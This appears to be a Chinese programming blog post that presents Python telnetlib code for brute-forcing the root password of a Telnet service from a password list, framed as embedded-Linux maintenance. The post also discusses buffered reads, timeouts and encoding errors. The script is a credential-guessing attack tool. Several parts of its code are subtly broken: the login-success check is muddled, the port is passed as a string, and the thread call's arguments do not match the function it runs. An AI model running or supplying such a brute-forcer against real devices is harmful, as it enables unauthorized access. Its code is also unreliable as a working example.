Python使用TelnetLib实现自动密码爆破与连接检测

山间有风
山间有风
发布时间:2026-10-14| 5人浏览过
原创

本文介绍利用Python内置telnetlib模块实现Telnet自动连接及密码检测的方法。通过遍历密码本逐一尝试登录,结合read_until等缓冲区读取机制处理数据延迟。针对连接超时死锁问题,提供了基于sleep的简单替代方案及利用threading线程控制超时的推荐做法,并解决了Unicode编码报错问题,适用于嵌入式Linux等系统的远程维护场景。

Python Telnet自动密码检测实现原理

近期在进行Python网络编程学习时,编写了一段用于自动连接Telnet并检测root用户密码的代码。该程序读取预设的密码本,逐个尝试密码匹配,一旦找到正确密码即停止运行并在屏幕输出结果。

Python标准库中内置了telnetlib模块,专门用于支持Telnet远程操作。开发者只需在代码中直接导入该模块即可使用其提供的功能。

具体实现代码如下所示:

核心代码解析


# encoding=utf-8
import telnetlib
import time
import sys
import os


def do_telnet(Host, Port, username, password, finish):
    # 连接Telnet服务器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)

    # 输入登录用户名
    tn.read_until("login: ")
    tn.write(str(username) + '\n')

    # 输入登录密码
    tn.read_until("Password: ")
    tn.write(str(password) + '\n')

    # 判断密码错误提示,如果没有这个提示说明登录成功
    if tn.read_until(finish):
        print("****** login incorrect!\n")
    tn.close()


if __name__ == '__main__':
    Host = input("IP:")  # Telnet服务器IP
    Port = input("Port:")  # Telnet服务器端口
    username = 'root'  # 登录用户名
    finish = 'incorrect'  # 密码错误提示
    pw_file = open('.\\pw.txt', 'r+')  # 密码文件
    Index = 0
    print(time.asctime(), ":   ****** begin", "\n")
    while True:
        password = pw_file.readline()
        Index += 1
        print(Index, time.asctime(), ":   ****** try", "", username, ":", password, "")
        if len(password) == 0:
            break
        do_telnet(Host, Port, username, password, finish)
    pw_file.close()

密码本文件pw.txt的内容示例如下:


root  
admin  
12345  
888888 

程序运行后的输出结果如下:

注意:本次测试的目标主机为嵌入式Linux系统,登录用户名为root。当密码错误时,系统返回包含incorrect字样的提示信息。实际应用中,需根据目标系统的不同调整用户名及错误提示关键词。

数据读取机制与缓冲区处理

telnetlib模块提供了多种数据读取方法,例如read_until()会在缓冲区中出现指定信息时返回结果;read_some()只要有数据返回即执行;read_very_lazy()则直接返回缓冲区当前数据。分析源码可知,telnetlib采用缓冲机制处理数据,因此数据并非一次性返回,而是先存入缓冲区。各种读取方法均围绕缓冲区操作,且数据到达时间不确定,可能快速、缓慢或分批到达。因此,read_until()通过判断缓冲区内容是否匹配来避免无效等待,若未匹配则持续等待直至超时。此外,expect方法功能更强大,支持正则表达式匹配,与read_until类似但扩展性更好。

网络上还有一种名为Pexpect的工具,功能较为强大,支持多种协议。其官方主页建议使用Pexpect并下载相关文档。但由于网络环境限制未能成功下载,因此不确定其是否支持Telnet协议。

若将上述程序与ftplib功能结合,可构建一个远程更新的维护工具。然而,如何准确判断后台返回信息仍是一个难点,例如应使用read_lazy()还是read_eager()方法尚不明确。主要挑战在于返回的数据往往不完整,且telnetlib似乎未提供read_line()方法。

连接超时问题与解决方案

在Telnet初始化时,port和timeout为可选参数,其中timeout仅在建立socket连接时生效。一旦连接成功,若后续操作(如使用read_until获取内容)因内容不匹配而进入等待状态,timeout参数将不再起作用,导致socket连接无限期保持,即“永生不死”的状态。

为解决上述超时失效问题,有两种处理方式:一是采用较原始的方法,使用sleep函数替代read_until,这样到时间会自动继续执行,虽可能无法获取预期结果,但避免了死锁,不过该方式稳定性差且兼容性不佳;二是推荐使用线程机制,启动包含Telnet操作的子线程,并对子线程设置超时时间(如join方法指定超时),从而间接控制Telnet连接的生命周期。


import threading  

th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands))  
th1.start()  
th1.join(20)  ##20秒超时时间 

常见编码问题与注意事项

在实际使用过程中遇到以下问题:

传递给Telnet相关方法的字符串会被自动解码一次。如果直接传递已解码的unicode字符串给write方法,将会引发错误。因此,在发送字符串前,建议先将其编码为utf-8或ascii格式,以确保兼容性。

以上即为Python实现Telnet自动连接检测密码的完整示例与注意事项。如需了解更多关于Python Telnet自动检测密码的资料,请持续关注本站其他相关文章。

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。